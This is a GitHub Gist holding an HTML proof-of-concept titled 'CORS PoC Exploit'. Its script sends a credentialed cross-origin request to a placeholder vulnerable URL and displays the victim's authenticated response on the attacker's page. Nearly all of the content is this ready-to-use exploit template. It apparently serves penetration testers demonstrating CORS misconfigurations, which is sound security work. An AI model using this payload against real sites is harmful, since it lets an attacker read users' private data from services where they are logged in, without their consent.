Created
April 5, 2020 13:43
-
-
Save securITymania/ac6fe756614ada9eb55a5d39b90a8783 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>CORS PoC Exploit</title> | |
</head> | |
<body> | |
<center> | |
<h1>CORS Exploit<br>secureITmania</h1> | |
<hr> | |
<div id="demo"> | |
<button type="button" onclick="cors()">Exploit</button> | |
</div> | |
<script type="text/javascript"> | |
function cors() { | |
var xhttp = new XMLHttpRequest(); | |
xhttp.onreadystatechange = function() { | |
if(this.readyState == 4 && this.status == 200) { | |
document.getElementById("demo").innerHTML = this.responseText; | |
} | |
}; | |
xhttp.open("GET", "http://<vulnerable-url>", true); | |
xhttp.withCredentials = true; | |
xhttp.send(); | |
} | |
</script> | |
</center> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment